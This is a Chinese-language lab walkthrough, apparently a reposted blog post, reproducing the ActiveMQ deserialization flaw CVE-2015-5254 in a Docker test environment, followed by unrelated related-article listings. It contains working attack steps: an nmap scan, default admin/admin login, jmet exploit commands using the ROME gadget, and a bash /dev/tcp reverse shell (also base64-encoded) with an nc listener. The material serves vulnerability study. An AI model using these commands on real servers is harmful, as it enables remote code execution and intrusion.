ActiveMQ 反序列化漏洞 (CVE-2015-5254)

一、漏洞描述

Apache ActiveMQ 是由美国阿帕奇(Apache)软件基金会开发的开源消息中间件,支持 Java 消息服务、集群、Spring 框架等。属于消息队列组件(消息队列组件:分布式系统中的重要组件,主要解决应用耦合、异步消息、流量削峰等)。

二、漏洞成因

Apache ActiveMQ 5.13.0版本之前到5.x版本的安全漏洞,该程序引起的漏洞不限制代理中可以序列化的类。远程攻击者可以制作一个特殊的序列化 Java 消息服务 (JMS) ObjectMessage 对象,利用该漏洞执行任意代码。

三、影响版本

Apache ActiveMQ 5.x ~ Apache ActiveMQ 5.13.0

四、利用限制

1).版本符合

2).立即执行代码:能够通过弱密码登录查看消息队列

3).没有查看队列所有消息的用户名和密码下,只能管理员/用户去点击我们插入的消息才能触发

五、docker的相关操作(默认安装了docker-compose)

在相应的文件夹位置打开终端后进行如下操作

运行此靶场

sudo docker-compose up -d

查看启动环境

sudo docker ps

关闭此靶场环境

sudo docker-compose down

六、漏洞复现

1.漏洞的文件夹中打开终端

2.运行此靶场

sudo docker-compose up -d

如果发现下载很慢或者失败可以看这个师傅的操作

在执行Dockerfile时出现Get https://registry-1.docker.io/v2/错误的解决方案-CSDN博客文章浏览阅读4w次,点赞10次,收藏21次。1.在IDEA中建立好了SpringBoot项目,并配置好了docker容器,然后在执行Dockerfile时出现以下问题Get https://registry-1.docker.io/v2/: net/http: request canceled while waiting for connection (Client.Timeout exceeded while awaiting head..._registry-1.docker.iohttps://blog.csdn.net/weixin_43414429/article/details/97003932

3.查看启动环境

sudo docker ps

其中61616端口是工作端口,消息在这个端口上传递;8161端口为网页管理页面端口。访问http://192.168.83.136:8161,可以看到web管理页面

4.登录网页

打开http://192.168.83.136:8161/admin,使用默认密码(admin/admin)登录,可以看到ActiveMQ版本是5.11.1,属于ActiveMQ 反序列化漏洞 (CVE-2015-5254)的影响版本范围

5.复现描述:

生成序列化的有效负载(可以使用 ysoserial)

作为一个消息,将有效负载发送到端口 61616

访问web管理页面并读取序列化消息,然后就可以触发这个漏洞了。

5.复现过程

a.nmap扫描

通过nmap扫描目标靶机端口和服务版本信息,发现目标开放的61616端口上承载apachemq ActiveMQ服务

nmap -p- -A -O 192.168.83.136

b.利用 jmet-0.1.0-all.jar攻击

下载jmet-0.1.0-all.jar包

https://github.com/matthiaskaiser/jmet/releases/download/0.1.0/jmet-0.1.0-all.jar

执行命令,将有效负载发送到目标IP的61616端口。

java -jar jmet-0.1.0-all.jar -Q event -I ActiveMQ -s -Y "touch /tmp/sucess" -Yp ROME 192.168.83.136 61616

如果出现报错,需要更换java的版本

需要可以看这个师傅操作,实测有效

点击查看这条消息即可触发命令执行

点击查看这条消息即可触发命令执行

6.登录容器环境

登录ActiveMQ容器环境,查看命令已经执行成功,/tmp/sucess文件已成功创建。

docker exec -it [容器ID] bash 

docker exec -it c98e17fc5287 bash

docker   ps  -a //查看容器id

查看上传成功了

7.反弹shell

反弹到攻击机的主机上

ip  192.168.83.156

#bash反弹命令

bash -i >& /dev/tcp/192.168.83.156/31005 0>&1

CTF在线工具-在线base编码|在线base解码|base16编码|base32编码|base64编码 (hiencode.com)icon-default.png?t=N7T8http://www.hiencode.com/base64.html攻击机监听端口

nc -lvvp 31005

漏洞攻击

java -jar jmet-0.1.0-all.jar -Q event -I ActiveMQ -s -Y "bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjgzLjE1Ni8zMTAwNSAwPiYx}|{base64,-d}|{bash,-i}" -Yp ROME 192.168.83.136 61616

攻击成功后在web页面点击访问

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.mfbz.cn/a/584314.html

如若内容造成侵权/违法违规/事实不符,请联系我们进行投诉反馈qq邮箱809451989@qq.com,一经查实,立即删除!

相关文章

宽字符的来历:从ASCII到Unicode,C语言中的宽字符处理

目录 一、ASCII编码:字符世界的开篇 二、Unicode与宽字符的诞生 宽字符类型与宽字符串 三、C语言中的宽字符处理函数 四、宽字符与多字节字符 结语 在计算机科学的发展历程中,字符编码经历了从简单到复杂、从单一语言到全球多语种支持的演变过程。…

十大落地护眼灯有哪些?2024十大落地灯品牌排名

十大落地护眼灯有哪些?想要让孩子在舒适敞亮的光线下学习,不少家长都会给孩子选择入手落地灯,不过市面上却流传着落地灯品质恶劣的负面新闻。我是一名专业测评家居博主,终于搞清楚落地灯负面新闻的原因,其原因主要是因…

回顾python

回顾python 目录 回顾python 1.定义变量 2.分支控制结构 3.for循环 4.while 循环 5.类 面向对象 1)​方法的定义: 2)类的定义: 3)类的继承 1.定义变量 a23b"张三&quo…

【NOI-题解】1607. 两位数运算1020. 算算和是多少1029. 倒序输出一个四位整数1418. 求一个5位数的各个位之和1608. 三位数运算

文章目录 一、前言二、问题问题:1607. 两位数运算问题:1020. 算算和是多少问题:1029. 倒序输出一个四位整数问题:1418. 求一个5位数的各个位之和问题:1608. 三位数运算 三、感谢 一、前言 本章节主要讲解基本运算中的…

在线商城客服系统,多用户电商系统可API对接客服软件

在当今数字化时代,在线商城客服系统和多用户电商系统之间的无缝API对接已成为电商行业的重要趋势。这种整合为商家提供了更高效的客户服务和管理方式,提升了用户体验和业务效率。其中,商淘云电商客服系统作为一款强大的客服管理工具&#xff…

react props传参

props是父子传参的常用方法。 一、主要功能 1.传参 定义:父级组件向子级组件传递参数。 2.验证数据类型格式 定义:可以指定父组件传递过来数据为指定类型。 3.设置默认值 定义:在参数未使用时,直接默认为指定值。 二、实例代…

OpenSceneGraph

文章目录 关于 OpenSceneGraphScreenshots - OpenMW 关于 OpenSceneGraph 官网:https://openscenegraph.github.io/openscenegraph.io/github : https://github.com/openscenegraph/OpenSceneGraphClasses : https://podsvirov.github.io/osg/reference/opensceneg…

Android系统的硬件抽象层

硬件抽象层 Author: cpu_codeDate: 2020-07-12 22:20:34LastEditTime: 2020-07-13 22:52:02FilePath: \notes\android_bottom\hardware_abstraction_layer.mdGitee: https://gitee.com/cpu_codeGithub: https://github.com/CPU-CodeCSDN: https://blog.csdn.net/qq_44226094Gi…

后端如何处理接口的重复调用

首先是,原理在请求接口之前,使用过滤器拦截数据,来进行判断两次数据是否一致。 1.自定义注解 2.创建一个Handler处理器 3.RepeatSubmitInterceptor的实现类 4.过滤器的配置

thinkphp6 workerman无法使用框架Db/model等类库方法解决方案

thinkphp6 workerman无法使用框架Db/model相关操作解决 执行安装相关扩展 composer require webman/gateway-worker引入成功后编辑服务类文件,直接展示代码 <?phpnamespace app\server\controller;use GatewayWorker\BusinessWorker; use GatewayWorker\Gateway; use Gate…

从0到1手写注册中心Registry之核心接口设计

一. 数据模型 InstanceMeta用于描述服务实例的元信息&#xff1a; schema&#xff1a;比如httphost,&#xff1a;比如127.0.0.1port&#xff1a;比如8082context&#xff1a;比如midnight-rpcstatus&#xff1a;服务上下线&#xff0c;true/falseParameters: 服务携带的参数&…

React 第十一章 Dva

Dva 是一个基于 redux 和 redux-saga 的数据流方案&#xff0c;然后为了简化开发体验&#xff0c;dva 还额外内置了 react-router 和 fetch&#xff0c;所以也可以理解为一个轻量级的应用框架。 Dva 的本意&#xff0c;是将基于 React 技术栈中常用到的库集成到一起。当时&…

Django-admin组件

Django-admin组件 admin是django中提供的一套可视化工具&#xff1a;用于对ORM中定义的表进行增删改查。 1 概览 在django项目启动时&#xff0c;自动找到注册到admin中的所有model中定义的类&#xff0c;然后为这些类生成一系列的URL和视图函数&#xff0c;实现基本增删改查…

Pandas数据可视化 - Matplotlib、Seaborn、Pandas Plot、Plotly

可视化工具介绍 让我们一起探讨Matplotlib、Seaborn、Pandas Plot和Plotly这四个数据可视化库的优缺点以及各自的适用场景。这有助于你根据不同的需求选择合适的工具。 1. Matplotlib 优点: 功能强大&#xff1a;几乎可以用于绘制任何静态、动画和交互式图表。高度可定制&a…

【酱浦菌-爬虫项目】爬取学术堂宏观经济学论文原文

前言 首先给大家放出完整代码&#xff0c;然后下面就是用jupyter写的代码。实际上在写的时候用的是jupyter写的&#xff0c;因为感觉jupyter写的时候更加的流畅&#xff0c;每一步运行的细节都能保存下来&#xff0c;更方便学习理解。 完整代码&#xff1a; import os impo…

基于深度学习检测恶意流量识别框架(80+特征/99%识别率)

基于深度学习检测恶意流量识别框架 目录 基于深度学习检测恶意流量识别框架简要示例a.检测攻击类别b.模型训练结果输出参数c.前端检测页面d.前端训练界面e.前端审计界面&#xff08;后续更新了&#xff09;f.前端自学习界面&#xff08;自学习模式转换&#xff09;f1.自学习模式…

Spring管理第三方依赖

在开发中&#xff0c;我们常需要根据业务需求导入我们需要的第三方依赖包&#xff0c;本文主要以导入druid数据库来连接池为案例讲解有关spring管理第三方依赖 目录 纯注解文件注入 1.在pom.xml中导入依赖 2.在com.lcyy包下建立一个config包用于配置类的实现 3.在config包下…

2024年第十五届蓝桥杯江苏省赛回顾

呜呜呜~~~ 我在考完了后感觉自己直接炸了&#xff1a;好多学到的算法都没有用上&#xff0c;几乎所有的题目都是暴力的。。。 最后十几分钟对于一道dp算法终于有思路了&#xff0c;但是。。匆匆忙忙之间就是没有调试出来。&#xff08;还是交了一道暴力[旋风狗头]直接哭死~~&…

微信小程序开发核心:样式,组件,布局,矢量图标

✨✨ 欢迎大家来到景天科技苑✨✨ &#x1f388;&#x1f388; 养成好习惯&#xff0c;先赞后看哦~&#x1f388;&#x1f388; &#x1f3c6; 作者简介&#xff1a;景天科技苑 &#x1f3c6;《头衔》&#xff1a;大厂架构师&#xff0c;华为云开发者社区专家博主&#xff0c;…

Zynq 7000 系列之启动模式—NAND启动

NAND启动是一种使用NAND闪存进行设备启动的方式。NAND闪存是一种非易失性存储设备&#xff0c;广泛用于嵌入式系统、计算机和其他电子设备中。由于NAND闪存具有高速读写和较高的存储密度等特点&#xff0c;使得NAND启动成为了一种高效且常用的启动方式。 1 特点 NAND启动具有…
最新文章